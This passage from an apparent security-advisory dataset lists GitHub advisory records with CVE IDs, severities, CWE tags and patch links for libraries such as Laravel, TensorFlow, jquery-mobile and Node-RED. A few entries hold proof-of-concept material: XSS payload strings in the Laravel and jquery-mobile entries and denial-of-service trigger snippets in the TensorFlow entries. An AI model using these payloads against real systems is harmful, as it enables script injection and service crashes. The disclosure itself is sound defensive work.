'http://dojotoolkit.org/blog/post/dylan/2010/03/dojo-security-advisory/', 'http://www-1.ibm.com/support/docview.wss?uid=swg1LO50833', 'http://www-1.ibm.com/support/docview.wss?uid=swg1LO50994'} | null | {'https://github.com/dojo/dojo/commit/9117ffd5a3863e44c92fcd58564c0da22be858f4'} | {'https://github.com/dojo/dojo/commit/9117ffd5a3863e44c92fcd58564c0da22be858f4'} |
GHSA | GHSA-23c7-6444-399m | Improper Input Validation in sopel-plugins.channelmgnt | ### Impact
On some IRC servers, restrictions around the removal of the bot using the kick/kickban command could be bypassed when kicking multiple users at once.
We also believe it may have been possible to remove users from other channels but due to the wonder that is IRC and following RfCs, We have no POC for that.
Freenode is not affected.
### Patches
Upgrade to 2.0.1 or higher
### Workarounds
Do not use this plugin on networks where TARGMAX > 1.
### For more information
If you have any questions or comments about this advisory:
* Open an issue on [phab](https://phab.mirahezebots.org/maniphest/task/edit/form/1/).
* Email us at [staff(at)mirahezebots(dot)org](mailto:staff@mirahezebots.org) | {'CVE-2021-21431'} | 2021-04-12T20:48:22Z | 2021-04-09T15:42:40Z | HIGH | 7.6 | {'CWE-20', 'CWE-284'} | {'https://github.com/MirahezeBots/sopel-channelmgnt/commit/643388365f28c5cc682254ab913c401f0e53260a', 'https://github.com/MirahezeBots/sopel-channelmgnt/security/advisories/GHSA-23c7-6444-399m', 'https://nvd.nist.gov/vuln/detail/CVE-2021-21431', 'https://pypi.org/project/sopel-plugins.channelmgnt/', 'https://github.com/MirahezeBots/sopel-channelmgnt/commit/7c96d400358221e59135f0a0be0744f3fad73856', 'https://github.com/advisories/GHSA-23c7-6444-399m'} | null | {'https://github.com/MirahezeBots/sopel-channelmgnt/commit/7c96d400358221e59135f0a0be0744f3fad73856', 'https://github.com/MirahezeBots/sopel-channelmgnt/commit/643388365f28c5cc682254ab913c401f0e53260a'} | {'https://github.com/MirahezeBots/sopel-channelmgnt/commit/7c96d400358221e59135f0a0be0744f3fad73856', 'https://github.com/MirahezeBots/sopel-channelmgnt/commit/643388365f28c5cc682254ab913c401f0e53260a'} |
GHSA | GHSA-q6gq-997w-f55g | Infinite loop in xz | Go before 1.13.15 and 14.x before 1.14.7 can have an infinite read loop in ReadUvarint and ReadVarint in encoding/binary via invalid inputs. | {'CVE-2020-16845'} | 2021-12-16T19:16:40Z | 2021-12-16T19:16:40Z | HIGH | 7.5 | {'CWE-835'} | {'http://lists.opensuse.org/opensuse-security-announce/2020-09/msg00029.html', 'http://lists.opensuse.org/opensuse-security-announce/2020-09/msg00030.html', 'https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/TACQFZDPA7AUR6TRZBCX2RGRFSDYLI7O/', 'http://lists.opensuse.org/opensuse-security-announce/2020-08/msg00028.html', 'https://github.com/advisories/GHSA-q6gq-997w-f55g', 'https://security.netapp.com/advisory/ntap-20200924-0002/', 'https://groups.google.com/forum/#!topic/golang-announce/_ulYYcIWg3Q', 'https://www.oracle.com/security-alerts/cpuApr2021.html', 'https://github.com/ulikunitz/xz/issues/35', 'https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/WV2VWKFTH4EJGZBZALVUJQJOAQB5MDQ4/', 'https://lists.debian.org/debian-lts-announce/2020/11/msg00038.html', 'https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/6RCFJTMKHY5ICGEM5BUFUEDDGSPJ25XU/', 'https://lists.debian.org/debian-lts-announce/2020/11/msg00037.html', 'https://groups.google.com/forum/#!topic/golang-announce/NyPIaucMgXo', 'https://github.com/ulikunitz/xz/commit/69c6093c7b2397b923acf82cb378f55ab2652b9b', 'https://nvd.nist.gov/vuln/detail/CVE-2020-16845', 'http://lists.opensuse.org/opensuse-security-announce/2020-08/msg00021.html', 'https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/KWRBAH4UZJO3RROQ72SYCUPFCJFA22FO/', 'https://www.debian.org/security/2021/dsa-4848'} | null | {'https://github.com/ulikunitz/xz/commit/69c6093c7b2397b923acf82cb378f55ab2652b9b'} | {'https://github.com/ulikunitz/xz/commit/69c6093c7b2397b923acf82cb378f55ab2652b9b'} |
GHSA | GHSA-66hf-2p6w-jqfw | XSS in laravel/framework | A security researcher has disclosed a possible XSS vulnerability in the Blade templating engine.
Given the following two Blade templates:
resources/views/parent.blade.php:
```html
@section('content')
<input value="{{ $value }}">
@show
```
resources/views/child.blade.php:
```html
@extends('parent')
@section('content')
<input value="{{ $value }}">
@endsection
```
And a route like the following:
```php
Route::get('/example', function() {
$value = '//localhost/###parent-placeholder-040f06fd774092478d450774f5ba30c5da78acc8## onclick=location.assign(this.value);//';
return view('child', ['value' => $value]);
});
```
The broken HTML element may be clicked and the user is taken to another location in their browser due to XSS. This is due to the user being able to guess the parent placeholder SHA-1 hash by trying common names of sections. If the parent template contains an exploitable HTML structure an XSS vulnerability can be exposed.
This vulnerability has been patched by determining the parent placeholder at runtime and using a random hash that is unique to each request. | {'CVE-2021-43808'} | 2022-04-19T19:03:17Z | 2021-12-08T19:57:36Z | MODERATE | 0 | {'CWE-79'} | {'https://github.com/laravel/framework/security/advisories/GHSA-66hf-2p6w-jqfw', 'https://github.com/advisories/GHSA-66hf-2p6w-jqfw', 'https://github.com/laravel/framework/commit/b8174169b1807f36de1837751599e2828ceddb9b'} | null | {'https://github.com/laravel/framework/commit/b8174169b1807f36de1837751599e2828ceddb9b'} | {'https://github.com/laravel/framework/commit/b8174169b1807f36de1837751599e2828ceddb9b'} |
GHSA | GHSA-47qg-q58v-7vrp | UNEDITABLE_SCHEMAS and UNEDITABLE_TABLE_DESCRIPTION_MATCH_RULES not respected by frontend service backend | ### Impact
Any install that has `UNEDITABLE_SCHEMAS` and/or `UNEDITABLE_TABLE_DESCRIPTION_MATCH_RULES` set in the front-end, is being impacted. The value of these properties is ignored if set, allowing any user to modify table and column descriptions, even though the properties imply they shouldn't be.
### Patches
There is an attached PR that applies this restriction on the back-end.
### Workarounds
N/A
### References
N/A
### For more information
If you have any questions or comments about this advisory:
* Email us at [amundsen-security@lists.lfaidata.foundation](mailto:amundsen-security@lists.lfaidata.foundation)
### More details
Summary: I believe that UNEDITABLE_SCHEMAS and
UNEDITABLE_TABLE_DESCRIPTION_MATCH_RULES are only being applied on the
front-end, not on the frontend service back-end, allowing any user to
modify table and column descriptions even if this configuration parameter
is set.
Repro steps:
1. docker-compose -f docker-amundsen.yml up neo4j elasticsearch
amundsensearch amundsenmetadata
2. python example/scripts/sample_data_loader.py
3. FRONTEND_SVC_CONFIG_MODULE_CLASS=amundsen_application.config.TestConfig
PYTHONPATH=. python3 amundsen_application/wsgi.py
4. Attempt a modification to a table description:
curl '<http://localhost:5000/api/metadata/v0/put_table_description>' \\\\
-X 'PUT' \\\\
-H 'Content-Type: application/json;charset=UTF-8' \\\\
--data-binary '{"description":"2t test table","key":"hive://gold.test_schema/test_table1","source":"user"}'
{"msg":"Success"}
5. This correctly succeeds, which can be validated by GETing the info:
curl '<http://localhost:5000/api/metadata/v0/get_table_description?key=hive://gold.test_schema/test_table1>'
{"description":"1st test table","msg":"Success"}
At this point, modify TestConfig inside config.py to add this line: UNEDITABLE_SCHEMAS
= set(['test_schema'])
You can now re-run step 4, and step 5 with different data, and confirm
that the modification has persisted. If you build and run the UI, you can
see that on the page
<http://localhost:5000/table_detail/gold/hive/test_schema/test_table1>
http://localhost:5000/table_detail/gold/hive/test_schema/test_table1, the
inline editor is correctly disabled.
Looking at
amundsenfrontendlibrary/amundsen_application/api/metadata/v0.py:268
put_table_description, you can see there's no reference to
UNEDITABLE_SCHEMAS or UNEDITABLE_TABLE_DESCRIPTION_MATCH_RULES.
The only place I can find these referenced is in
amundsenfrontendlibrary/amundsen_application/api/utils/metadata_utils.py:marshall_table_full,
which would explain why the UI is correctly respecting this setting.
If this is correct, put_column_description would also be similarly
affected.
I believe the correct fix for all of these methods is to load the table,
run it through marshall_dashboard_partial to fully evaluate what's
editable or not (to reuse the same code path for FE and back-end), and
reject the response if it's not editable. I'll implement a fix along these
lines once someone confirms this.
History: This functionality was introduced in
<https://github.com/amundsen-io/amundsenfrontendlibrary/pull/497/files>
https://github.com/amundsen-io/amundsenfrontendlibrary/pull/497 on July
9, corresponding to the 2.3.0 release of amundsenfrontend. That release was
introduced into the main repo dockerfile on October 28 in
<https://github.com/amundsen-io/amundsen/pull/785>
https://github.com/amundsen-io/amundsen/pull/785 | null | 2022-04-19T19:02:40Z | 2020-12-02T18:28:10Z | LOW | 0 | {'CWE-602'} | {'https://github.com/advisories/GHSA-47qg-q58v-7vrp', 'https://github.com/amundsen-io/amundsenfrontendlibrary/commit/0b47694ea74cbbef34e03eb45f29643b16a1332a', 'https://github.com/amundsen-io/amundsenfrontendlibrary/security/advisories/GHSA-47qg-q58v-7vrp'} | null | {'https://github.com/amundsen-io/amundsenfrontendlibrary/commit/0b47694ea74cbbef34e03eb45f29643b16a1332a'} | {'https://github.com/amundsen-io/amundsenfrontendlibrary/commit/0b47694ea74cbbef34e03eb45f29643b16a1332a'} |
GHSA | GHSA-mw7r-3g6w-85qg | Out-of-bounds write | A remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge, aka 'Chakra Scripting Engine Memory Corruption Vulnerability'. This CVE ID is unique from CVE-2019-1139, CVE-2019-1140, CVE-2019-1141, CVE-2019-1195, CVE-2019-1196, CVE-2019-1197. | {'CVE-2019-1131'} | 2021-03-29T20:57:46Z | 2021-03-29T20:57:46Z | HIGH | 7.5 | {'CWE-787'} | {'https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-1131', 'https://github.com/advisories/GHSA-mw7r-3g6w-85qg', 'https://github.com/chakra-core/ChakraCore/commit/242c59ea40c0428e1ced7366bf2c28bfbdda1999', 'https://nvd.nist.gov/vuln/detail/CVE-2019-1131', 'https://github.com/chakra-core/ChakraCore/commit/6b1250b6ffea7006226dd937e52cf5b353fcfc15'} | null | {'https://github.com/chakra-core/ChakraCore/commit/242c59ea40c0428e1ced7366bf2c28bfbdda1999', 'https://github.com/chakra-core/ChakraCore/commit/6b1250b6ffea7006226dd937e52cf5b353fcfc15'} | {'https://github.com/chakra-core/ChakraCore/commit/242c59ea40c0428e1ced7366bf2c28bfbdda1999', 'https://github.com/chakra-core/ChakraCore/commit/6b1250b6ffea7006226dd937e52cf5b353fcfc15'} |
GHSA | GHSA-fj93-7wm4-8x2g | Cross-Site Scripting in jquery-mobile | All version of `jquery-mobile` are vulnerable to Cross-Site Scripting. The package checks for content in `location.hash` and if a URL is found it does an XmlHttpRequest (XHR) to the URL and renders the response with `innerHTML`. It fails to validate the `Content-Type` of the response, allowing attackers to include malicious payloads as part of query parameters that are reflected back to the user. A response such as `{"q":"<iframe/src='javascript:alert(1)'></iframe>","results":[]}` would be parsed as HTML and the JavaScript payload executed.
## Recommendation
No fix is currently available. Consider using an alternative package until a fix is made available. | null | 2021-09-27T21:03:59Z | 2020-09-02T21:22:47Z | HIGH | 0 | {'CWE-79'} | {'https://gist.github.com/jupenur/e5d0c6f9b58aa81860bf74e010cf1685', 'https://github.com/jquery/jquery-mobile/commit/b0d9cc758a48f13321750d7409fb7655dcdf2b50', 'https://github.com/jquery/jquery-mobile/pull/8650', 'https://github.com/advisories/GHSA-fj93-7wm4-8x2g', 'https://snyk.io/vuln/SNYK-JS-JQUERYMOBILE-174599', 'https://github.com/jquery/jquery-mobile/issues/8640', 'https://www.npmjs.com/advisories/883', 'https://github.com/jquery/jquery-mobile/pull/8649'} | null | {'https://github.com/jquery/jquery-mobile/commit/b0d9cc758a48f13321750d7409fb7655dcdf2b50'} | {'https://github.com/jquery/jquery-mobile/commit/b0d9cc758a48f13321750d7409fb7655dcdf2b50'} |
GHSA | GHSA-3mw4-6rj6-74g5 | Null pointer dereference in TensorFlow | ### Impact
The [implementation of `QuantizedMaxPool`](https://github.com/tensorflow/tensorflow/blob/5100e359aef5c8021f2e71c7b986420b85ce7b3d/tensorflow/core/kernels/quantized_pooling_ops.cc#L114-L130) has an undefined behavior where user controlled inputs can trigger a reference binding to null pointer.
```python
import tensorflow as tf
tf.raw_ops.QuantizedMaxPool(
input = tf.constant([[[[4]]]], dtype=tf.quint8),
min_input = [],
max_input = [1],
ksize = [1, 1, 1, 1],
strides = [1, 1, 1, 1],
padding = "SAME", name=None
)
```
### Patches
We have patched the issue in GitHub commit [53b0dd6dc5957652f35964af16b892ec9af4a559](https://github.com/tensorflow/tensorflow/commit/53b0dd6dc5957652f35964af16b892ec9af4a559).
The fix will be included in TensorFlow 2.8.0. We will also cherrypick this commit on TensorFlow 2.7.1, TensorFlow 2.6.3, and TensorFlow 2.5.3, as these are also affected and still in supported range.
### For more information
Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.
### Attribution
This vulnerability has been reported by Faysal Hossain Shezan from University of Virginia. | {'CVE-2022-21739'} | 2022-02-11T16:22:38Z | 2022-02-09T23:46:46Z | MODERATE | 6.5 | {'CWE-476'} | {'https://nvd.nist.gov/vuln/detail/CVE-2022-21739', 'https://github.com/advisories/GHSA-3mw4-6rj6-74g5', 'https://github.com/tensorflow/tensorflow/security/advisories/GHSA-3mw4-6rj6-74g5', 'https://github.com/tensorflow/tensorflow/commit/53b0dd6dc5957652f35964af16b892ec9af4a559', 'https://github.com/tensorflow/tensorflow/blob/5100e359aef5c8021f2e71c7b986420b85ce7b3d/tensorflow/core/kernels/quantized_pooling_ops.cc#L114-L130'} | null | {'https://github.com/tensorflow/tensorflow/commit/53b0dd6dc5957652f35964af16b892ec9af4a559'} | {'https://github.com/tensorflow/tensorflow/commit/53b0dd6dc5957652f35964af16b892ec9af4a559'} |
GHSA | GHSA-x2jp-hh65-4xvf | Cross-site scripting (XSS) and Server side request forgery (SSRF) in moodle | Text-based feedback answers required additional sanitizing to prevent stored XSS and blind SSRF risks in moodle before 3.10.2, 3.9.5, 3.8.8, 3.5.17. | {'CVE-2021-20280'} | 2021-11-18T15:25:56Z | 2021-03-29T20:42:15Z | MODERATE | 5.4 | {'CWE-79'} | {'https://github.com/advisories/GHSA-x2jp-hh65-4xvf', 'https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/UFH5DDMU5TZ3JT4Q52WMRAHACA5MHIMT/', 'https://bugzilla.redhat.com/show_bug.cgi?id=1939037', 'https://moodle.org/mod/forum/discuss.php?d=419651', 'https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/AFSNJ7XHVTC52RSRX2GBQFF3VEEAY2MS/', 'https://github.com/moodle/moodle/commit/a303eb9e9e387f95ea2a80cb1ce6c0b132ec1cc4', 'https://nvd.nist.gov/vuln/detail/CVE-2021-20280', 'https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/FGOMHMYM3WICJ6D6U22Z6LPJGT5A6MZM/', 'http://packetstormsecurity.com/files/164817/Moodle-Cross-Site-Scripting-Server-Side-Request-Forgery.html'} | null | {'https://github.com/moodle/moodle/commit/a303eb9e9e387f95ea2a80cb1ce6c0b132ec1cc4'} | {'https://github.com/moodle/moodle/commit/a303eb9e9e387f95ea2a80cb1ce6c0b132ec1cc4'} |
GHSA | GHSA-394c-5j6w-4xmx | Regular Expression Denial of Service (ReDoS) in ua-parser-js | The package ua-parser-js before 0.7.23 are vulnerable to Regular Expression Denial of Service (ReDoS) in multiple regexes (see linked commit for more info). | {'CVE-2020-7793'} | 2022-02-09T22:46:53Z | 2022-02-09T22:46:53Z | HIGH | 7.5 | {'CWE-400'} | {'https://snyk.io/vuln/SNYK-JS-UAPARSERJS-1023599', 'https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSBOWERGITHUBFAISALMAN-1050388', 'https://nvd.nist.gov/vuln/detail/CVE-2020-7793', 'https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1050387', 'https://github.com/advisories/GHSA-394c-5j6w-4xmx', 'https://github.com/faisalman/ua-parser-js/commit/6d1f26df051ba681463ef109d36c9cf0f7e32b18'} | null | {'https://github.com/faisalman/ua-parser-js/commit/6d1f26df051ba681463ef109d36c9cf0f7e32b18'} | {'https://github.com/faisalman/ua-parser-js/commit/6d1f26df051ba681463ef109d36c9cf0f7e32b18'} |
GHSA | GHSA-r35g-4525-29fq | Division by 0 in `FusedBatchNorm` | ### Impact
An attacker can cause a denial of service via a FPE runtime error in `tf.raw_ops.FusedBatchNorm`:
```python
import tensorflow as tf
x = tf.constant([], shape=[1, 1, 1, 0], dtype=tf.float32)
scale = tf.constant([], shape=[0], dtype=tf.float32)
offset = tf.constant([], shape=[0], dtype=tf.float32)
mean = tf.constant([], shape=[0], dtype=tf.float32)
variance = tf.constant([], shape=[0], dtype=tf.float32)
epsilon = 0.0
exponential_avg_factor = 0.0
data_format = "NHWC"
is_training = False
tf.raw_ops.FusedBatchNorm(
x=x, scale=scale, offset=offset, mean=mean,
variance=variance, epsilon=epsilon,
exponential_avg_factor=exponential_avg_factor,
data_format=data_format, is_training=is_training)
```
This is because the [implementation](https://github.com/tensorflow/tensorflow/blob/828f346274841fa7505f7020e88ca36c22e557ab/tensorflow/core/kernels/fused_batch_norm_op.cc#L295-L297) performs a division based on the last dimension of the `x` tensor:
```cc
const int depth = x.dimension(3);
const int rest_size = size / depth;
```
Since this is controlled by the user, an attacker can trigger a denial of service.
### Patches
We have patched the issue in GitHub commit [1a2a87229d1d61e23a39373777c056161eb4084d](https://github.com/tensorflow/tensorflow/commit/1a2a87229d1d61e23a39373777c056161eb4084d).
The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.
### For more information
Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.
### Attribution
This vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team. | {'CVE-2021-29555'} | 2021-05-21T14:23:58Z | 2021-05-21T14:23:58Z | LOW | 2.5 | {'CWE-369'} | {'https://github.com/advisories/GHSA-r35g-4525-29fq', 'https://github.com/tensorflow/tensorflow/commit/1a2a87229d1d61e23a39373777c056161eb4084d', 'https://github.com/tensorflow/tensorflow/security/advisories/GHSA-r35g-4525-29fq', 'https://nvd.nist.gov/vuln/detail/CVE-2021-29555'} | null | {'https://github.com/tensorflow/tensorflow/commit/1a2a87229d1d61e23a39373777c056161eb4084d'} | {'https://github.com/tensorflow/tensorflow/commit/1a2a87229d1d61e23a39373777c056161eb4084d'} |
GHSA | GHSA-7ggw-h8pp-r95r | Session ID not invalidated after logout | ### Impact
When logging out, the session ID was not invalidated. This is not a problem while the user is logged out, but as soon as the user logs back in the old session ID would be valid again; which means that anyone that gained access to the old session cookie would be able to act as the logged in user. This is not a major concern for the majority of cases, since it requires a malicious party gaining access to the session cookie in the first place, but nevertheless has been fixed.
### Patches
Issue has been patched in Build 472 (v1.0.472) and v1.1.2.
### Workarounds
Apply https://github.com/octobercms/library/commit/642f597489e6f644d4bd9a0c267e864cabead024 to your installation manually if unable to upgrade to Build 472 or v1.1.2.
### References
- Reported by Anisio (Brazilian Information Security Analyst)
- http://cve.circl.lu/cve/CVE-2021-3311
### For more information
If you have any questions or comments about this advisory:
* Email us at [hello@octobercms.com](mailto:hello@octobercms.com)
### Threat assessment:
<img width="699" alt="Screen Shot 2021-02-07 at 11 50 35 PM" src="https://user-images.githubusercontent.com/7253840/107180881-51eaf000-699f-11eb-8828-333128faf2a6.png"> | {'CVE-2021-3311'} | 2021-03-05T21:40:39Z | 2021-02-10T02:32:35Z | LOW | 0 | {'CWE-613'} | {'http://cve.circl.lu/cve/CVE-2021-3311', 'https://github.com/octobercms/october/security/advisories/GHSA-7ggw-h8pp-r95r', 'https://anisiosantos.me/october-cms-token-reactivation', 'https://github.com/octobercms/library/commit/642f597489e6f644d4bd9a0c267e864cabead024', 'https://packagist.org/packages/october/rain', 'https://octobercms.com/forum/chan/announcements', 'https://nvd.nist.gov/vuln/detail/CVE-2021-3311', 'https://github.com/advisories/GHSA-7ggw-h8pp-r95r'} | null | {'https://github.com/octobercms/library/commit/642f597489e6f644d4bd9a0c267e864cabead024'} | {'https://github.com/octobercms/library/commit/642f597489e6f644d4bd9a0c267e864cabead024'} |
GHSA | GHSA-m33v-338h-4v9f | Path traversal in Node-Red | ### Impact
This vulnerability allows arbitrary path traversal via the Projects API.
If the Projects feature is enabled, a user with `projects.read` permission is able to access any file via the Projects API.
### Patches
The issue has been patched in Node-RED 1.2.8
### Workarounds
The vulnerability applies only to the Projects feature which is not enabled by default in Node-RED.
The primary workaround is not give untrusted users read access to the Node-RED editor.
### For more information
If you have any questions or comments about this advisory:
* Email us at [team@nodered.org](mailto:team@nodered.org)
### Acknowledgements
Thanks to the Tencent Woodpecker Security Team for disclosing this vulnerability. | {'CVE-2021-21298'} | 2021-03-01T18:55:47Z | 2021-02-26T16:31:23Z | LOW | 0 | {'CWE-22'} | {'https://www.npmjs.com/package/@node-red/runtime', 'https://github.com/node-red/node-red/security/advisories/GHSA-m33v-338h-4v9f', 'https://github.com/node-red/node-red/commit/74db3e17d075f23d9c95d7871586cf461524c456', 'https://github.com/node-red/node-red/releases/tag/1.2.8', 'https://github.com/advisories/GHSA-m33v-338h-4v9f', 'https://nvd.nist.gov/vuln/detail/CVE-2021-21298'} | null | {'https://github.com/node-red/node-red/commit/74db3e17d075f23d9c95d7871586cf461524c456'} | {'https://github.com/node-red/node-red/commit/74db3e17d075f23d9c95d7871586cf461524c456'} |
GHSA | GHSA-vmhw-fhj6-m3g5 | Path Traversal in angular-http-server | Versions of `angular-http-server` before 1.4.4 are vulnerable to path traversal.
## Recommendation
Update to version 1.4.4 or later. | null | 2021-08-04T20:22:14Z | 2019-05-31T23:46:33Z | HIGH | 0 | {'CWE-22'} | {'https://nodesecurity.io/advisories/656', 'https://github.com/simonh1000/angular-http-server/commit/8bafc9577161469f5dea01e0b98ea9c525d063e9', 'https://www.npmjs.com/advisories/656', 'https://github.com/advisories/GHSA-vmhw-fhj6-m3g5', 'https://hackerone.com/reports/330349'} | null | {'https://github.com/simonh1000/angular-http-server/commit/8bafc9577161469f5dea01e0b98ea9c525d063e9'} | {'https://github.com/simonh1000/angular-http-server/commit/8bafc9577161469f5dea01e0b98ea9c525d063e9'} |
GHSA | GHSA-f34m-x9pj-62vq | Cross-Site Scripting Vulnerability in @joeattardi/emoji-button | ### Impact
There are two vectors for XSS attacks with versions of @joeattardi/emoji-button before 4.6.2:
- A URL for a custom emoji
- An i18n string
In both of these cases, a value can be crafted such that it can insert a `script` tag into the page and execute malicious code.
### Patches
This vulnerability is fixed starting in version 4.6.2. This is resolved by properly escaping strings that are inserted into the HTML document.
### Workarounds
There is no workaround other than upgrading to a non-vulnerable version.
### Credit
This issue was discovered by GitHub team member [@erik-krogh (Erik Krogh Kristensen)](https://github.com/erik-krogh) and was reported by the GitHub Security Lab team. | {'CVE-2021-43785'} | 2022-04-19T19:03:16Z | 2021-12-01T18:29:02Z | HIGH | 7.6 | {'CWE-79'} | {'https://nvd.nist.gov/vuln/detail/CVE-2021-43785', 'https://github.com/joeattardi/emoji-button/commit/05970c09180cd27fff493e998ac5bf0468b1bb16', 'https://github.com/joeattardi/emoji-button/commit/fe54bef107eb3f74873a4018f2ff49fa124c6a2e', 'https://github.com/advisories/GHSA-f34m-x9pj-62vq', 'https://github.com/joeattardi/emoji-button/security/advisories/GHSA-f34m-x9pj-62vq'} | null | {'https://github.com/joeattardi/emoji-button/commit/05970c09180cd27fff493e998ac5bf0468b1bb16', 'https://github.com/joeattardi/emoji-button/commit/fe54bef107eb3f74873a4018f2ff49fa124c6a2e'} | {'https://github.com/joeattardi/emoji-button/commit/05970c09180cd27fff493e998ac5bf0468b1bb16', 'https://github.com/joeattardi/emoji-button/commit/fe54bef107eb3f74873a4018f2ff49fa124c6a2e'} |
GHSA | GHSA-2rfj-2mwp-787v | Out-of-bounds write | A remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge, aka 'Chakra Scripting Engine Memory Corruption Vulnerability'. This CVE ID is unique from CVE-2019-0989, CVE-2019-0991, CVE-2019-0992, CVE-2019-1002, CVE-2019-1003, CVE-2019-1024, CVE-2019-1051, CVE-2019-1052. | {'CVE-2019-0993'} | 2021-03-29T20:57:51Z | 2021-03-29T20:57:51Z | HIGH | 7.5 | {'CWE-787'} | {'https://github.com/advisories/GHSA-2rfj-2mwp-787v', 'https://github.com/chakra-core/ChakraCore/commit/36644ee0d4cc2bc97a3cd49c3540e6eea193182a', 'https://nvd.nist.gov/vuln/detail/CVE-2019-0993', 'https://github.com/chakra-core/ChakraCore/commit/3d6226cc2d1077537220361c82e34a362c6c76ee', 'https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0993'} | null | {'https://github.com/chakra-core/ChakraCore/commit/3d6226cc2d1077537220361c82e34a362c6c76ee', 'https://github.com/chakra-core/ChakraCore/commit/36644ee0d4cc2bc97a3cd49c3540e6eea193182a'} | {'https://github.com/chakra-core/ChakraCore/commit/3d6226cc2d1077537220361c82e34a362c6c76ee', 'https://github.com/chakra-core/ChakraCore/commit/36644ee0d4cc2bc97a3cd49c3540e6eea193182a'} |
GHSA | GHSA-93f3-23rq-pjfp | Sensitive information exposure through logs in npm CLI | Versions of the npm CLI prior to 6.14.6 are vulnerable to an information exposure vulnerability through log files. The CLI supports URLs like `<protocol>://[<user>[:<password>]@]<hostname>[:<port>][:][/]<path>`. The password value is not redacted and is printed to stdout and also to any generated log files. | {'CVE-2020-15095'} | 2021-01-14T17:40:21Z | 2020-07-07T18:56:16Z | LOW | 4.4 | {'CWE-532'} | {'https://nvd.nist.gov/vuln/detail/CVE-2020-15095', 'https://github.com/npm/cli/blob/66aab417f836a901f8afb265251f761bb0422463/CHANGELOG.md#6146-2020-07-07', 'http://lists.opensuse.org/opensuse-security-announce/2020-10/msg00023.html', 'https://security.gentoo.org/glsa/202101-07', 'https://github.com/advisories/GHSA-93f3-23rq-pjfp', 'http://lists.opensuse.org/opensuse-security-announce/2020-10/msg00015.html', 'https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/4OOYAMJVLLCLXDTHW3V5UXNULZBBK4O6/', 'https://github.com/npm/cli/commit/a9857b8f6869451ff058789c4631fadfde5bbcbc', 'https://github.com/npm/cli/security/advisories/GHSA-93f3-23rq-pjfp', 'http://lists.opensuse.org/opensuse-security-announce/2020-10/msg00011.html'} | null | {'https://github.com/npm/cli/commit/a9857b8f6869451ff058789c4631fadfde5bbcbc'} | {'https://github.com/npm/cli/commit/a9857b8f6869451ff058789c4631fadfde5bbcbc'} |
GHSA | GHSA-f7r3-p866-q9qr | Denial of Service in ircdkit | Versions of `ircdkit` before 1.0.3 are vulnerable to a remote denial of service.
## Recommendation
Upgrade to version 1.0.4. | null | 2021-08-04T21:22:46Z | 2019-06-03T17:27:49Z | LOW | 3.7 | {'CWE-400'} | {'https://github.com/advisories/GHSA-f7r3-p866-q9qr', 'https://github.com/Twipped/ircdkit/commit/f0cc6dc913ec17b499fa33a676bb72c624456f2c', 'https://github.com/Twipped/ircdkit/issues/1', 'https://www.npmjs.com/advisories/735', 'https://snyk.io/vuln/SNYK-JS-IRCDKIT-173688'} | null | {'https://github.com/Twipped/ircdkit/commit/f0cc6dc913ec17b499fa33a676bb72c624456f2c'} | {'https://github.com/Twipped/ircdkit/commit/f0cc6dc913ec17b499fa33a676bb72c624456f2c'} |
GHSA | GHSA-f99g-pg48-wrfc | twill is vulnerable to Cross-Site Request Forgery (CSRF) | twill is vulnerable to Cross-Site Request Forgery (CSRF). | {'CVE-2021-3932'} | 2021-12-16T00:40:00Z | 2021-11-15T23:19:26Z | MODERATE | 6.3 | {'CWE-352', 'CWE-268'} | {'https://github.com/area17/twill/commit/5cded9fc', 'https://github.com/area17/twill/commit/81d80d1fbbdd8bb73c020f03c623fd4487bd9b78', 'https://nvd.nist.gov/vuln/detail/CVE-2021-3932', 'https://github.com/advisories/GHSA-f99g-pg48-wrfc', 'https://huntr.dev/bounties/6ef21e34-f6d9-445a-b657-375c53dc2b43', 'https://github.com/area17/twill/releases/tag/1.2.5', 'https://github.com/area17/twill/commits/bab94c1e', 'https://github.com/area17/twill/releases/tag/2.5.3'} | null | {'https://github.com/area17/twill/commit/81d80d1fbbdd8bb73c020f03c623fd4487bd9b78', 'https://github.com/area17/twill/commits/bab94c1e', 'https://github.com/area17/twill/commit/5cded9fc'} | {'https://github.com/area17/twill/commit/81d80d1fbbdd8bb73c020f03c623fd4487bd9b78', 'https://github.com/area17/twill/commit/5cded9fc', 'https://github.com/area17/twill/commits/bab94c1e'} |
GHSA | GHSA-9g3v-j3cr-6fc6 | Cross-site Scripting in snipe-it | snipe-it is vulnerable to Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') | {'CVE-2021-3879'} | 2021-10-25T20:08:06Z | 2021-10-21T17:48:26Z | MODERATE | 6.8 | {'CWE-79'} | {'https://nvd.nist.gov/vuln/detail/CVE-2021-3879', 'https://huntr.dev/bounties/6dccc49e-3843-4a4a-b397-5c659e5f8bfe', 'https://github.com/snipe/snipe-it/commit/bda23bb1e66fd7ce42c75c69cf5eea4e80865c1c', 'https://github.com/advisories/GHSA-9g3v-j3cr-6fc6'} | null | {'https://github.com/snipe/snipe-it/commit/bda23bb1e66fd7ce42c75c69cf5eea4e80865c1c'} | {'https://github.com/snipe/snipe-it/commit/bda23bb1e66fd7ce42c75c69cf5eea4e80865c1c'} |
